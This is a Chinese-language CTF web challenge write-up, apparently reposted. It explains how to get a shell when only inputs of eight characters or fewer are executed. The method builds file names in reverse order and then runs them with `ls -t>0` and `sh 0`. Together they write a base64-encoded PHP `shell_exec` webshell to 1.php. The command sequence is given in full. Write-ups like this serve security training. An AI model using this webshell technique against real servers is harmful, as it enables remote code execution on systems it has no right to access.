CTF_Web:8位以内可控字符getshell
Posted AFCC_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF_Web:8位以内可控字符getshell相关的知识,希望对你有一定的参考价值。
题目来源
近期在练习CTF中的web题目时遇到一个8位字符以内可以随意执行命令,最终需要getshell 的题目,发现很多前辈都写了这类型的题解,但也需要自己实践一下,题目源码访问后如图:
思路:可以看出当提交的参数1包含的值少于8位时,都会当作命令执行,首先?1=ls
发现所有文件名都超过了8位,显然单靠这8位执行命令是不足以cat某个文件,于是需要利用拼接文件名执行代码getshell。
解题利用知识点
>a "在linux中会直接创建这个文件,但没有内容"
ls -t "将目录中的文件以时间顺序排列,最后创建的排在第一位"
sh a "将文件a中的所有内容以命令执行"
who/
am/
i "Linux中的命令拼接符/会将命令按照whoami执行"
例如
在这个题目中就是要将一个一句话木马写入文件,然后访问这个一句话从而getshell,这里使用创建一句话的命令为:
echo <?php echo shell_exec($_GET[1]); >1.php "便于查看回显"
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzFdKTs=|base64 -d>1.php "使用base64的方式避免$等特殊字符输入失败"
将这段话倒序输入后再利用ls -t>0
正序输入文本中执行,就可以生成一个一句话木马,注意所有字符都需\\
转义。
>hp
>1.p\\\\
>d\\>\\\\
>\\ -\\\\
>64\\ \\\\
>base\\\\
>\\=\\|\\\\
>dKTs\\\\
>UWzF\\\\
>fR0V\\\\
>jKCR\\\\
>leGV\\\\
>sbF9\\\\
>zaGV\\\\
>obyB\\\\
>gZWN\\\\
>waHA\\\\
>PD9\\\\
>o\\ \\\\
>ech\\\\
ls -t>0
sh 0
使用cat a
查看ls -t
写入的内容
使用ls
查看sh a
是否成功执行生成了1.php
并连接使用mv flag.php flag.txt
将flag
修改为txt
格式。
最终访问flag.txt得到flag
以上是关于CTF_Web:8位以内可控字符getshell的主要内容,如果未能解决你的问题,请参考以下文章